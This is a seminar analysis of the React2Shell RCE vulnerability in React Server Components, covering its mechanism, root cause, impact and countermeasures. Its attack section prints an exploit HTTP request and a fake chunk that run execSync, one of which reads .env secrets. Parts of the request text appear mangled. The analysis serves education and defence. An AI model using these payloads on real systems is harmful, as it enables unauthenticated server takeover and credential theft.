React2Shell (CVE-2025-55182)

Woori FISA Technical Seminar 6th - Team 3: Analysis and research on React2Shell, a remote code execution (RCE) vulnerability exploiting design flaws in React Server Component (RSC)

Team

Table of Contents

1. Overview: What is React2Shell?
2. React2Shell Attack Mechanism
3. Impact of React2Shell
4. Security Responsibilities in Frontend

01. Overview: What is React2Shell?

React2Shell (CVE-2025-55182) is a critical security vulnerability discovered in the communication process of the Flight Protocol used by React Server Component (RSC).

• Core issue: An attacker can execute internal server commands with a single HTTP request without authentication.
• Severity: CVSS Score 10.0
• Root cause: Prototype Pollution occurring during the deserialization of untrusted data.

Design Flaw in Flight Protocol

React uses the Flight Protocol, which supports complex types such as Promise, Blob, Map in addition to strings and arrays, to process components.

Attackers exploit the vulnerability in this protocol stream processing method to inject malicious scripts and gain control of the server.

Timeline

• 2025.11.29: First reported via Meta Bug Bounty
• 2025.11.30: Security team confirmed and began collaboration with React team
• 2025.12.01: Patch code development and validation by partners (Vercel, etc.)
• 2025.12.03: Patch deployment and CVE disclosure

02. React2Shell Attack Mechanism

• The most common attack method exploits the reference system of the React Flight Protocol without any prerequisites.
• The attack broadly consists of three stages: Bomb planting (Payload transmission) → Ignition (Deserialization) → Explosion (RCE execution).

1) Bomb Planting

The attacker sends JSON data to the server via a request containing Next-Action and multipart/form-data headers. At this point, they include a fake chunk disguised as a Promise object in the request body.

POST / HTTP/1.1
Host: localhost: 3000

[... 기타 헤더 생략 ...]

Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}

------WebkitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="1"
"$@0"

------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":

2) Ignition

// Example of fake chunk sent by attacker
{
	"then" : "$1:__proto__:then"
	"status" : "resolved_model",
	"reason" : -1,
	"value" : "{\"then\":\"$B0\"}",
	"_response" : {
		"_prefix": "execSync('cat .env'); //",
		"_formData":{"get": "$1:constructor:constructor"}
	}
}

1. The then of the fake chunk sent by the attacker is mapped to Chunk.prototype.then.
2. During deserialization of Blob data, the malicious code contained in _prefix is passed as an argument to Function.
3. The moment the generated function is called as a thenable of a Promise, the arbitrary code planted by the attacker is executed on the server.

3) Explosion

// POST request response example
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}

Root Cause

// ReactFlightReplyServer.js - getOutlinedModel() 
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // 여기서 hasOwnProperty check가 누락됨!
}

• When React interprets references of the form $1:path:to:value, it splits the string at colons (:) and traverses the object's internals.
• In this process, interpreting $1:__proto__:then allows access to the chunk's prototype and its then property (Chunk.prototype.then).
• Ultimately, the fake chunk sent by the attacker acquires the then of a real chunk, causing the attacker's intended code to execute.

03. Impact of React2Shell

This vulnerability caused major ripples throughout the modern web ecosystem.

• Server component reliability hit: Sparked debate on 'Should frontend frameworks also be responsible for server security?'
• Hosting platform emergency: Emergency security patches deployed by major PaaS providers supporting RSC, such as Vercel, Netlify, etc.

04. Security Responsibilities in Frontend

The React2Shell incident left the lesson that 'frontend developers must also understand server security.'

Countermeasures

1. Immediately update React-related packages

Update related packages such as react-server-dom-webpack to the latest version (19.0.1+, etc.) immediately.

2. Check framework patch status

Frameworks that embed RSC, such as Next.js, are not resolved by simply upgrading React alone; it is necessary to check the framework's own security release notes and upgrade to the latest version.

3. Monitoring

Utilize monitoring systems like Grafana and connect them to alert channels (e.g., email, Slack) to set up alarms for immediate action.

As the frontend's domain expands with technological advancement, we must recognize that the scope of security responsibility has also broadened.

References

React Official Patch

React2Shell: Complete Analysis Guide for CVE-2025-55182 Vulnerability

Analysis of React Server Component Vulnerability and System Penetration Path

PoC: Vulnerability Proof of Concept Code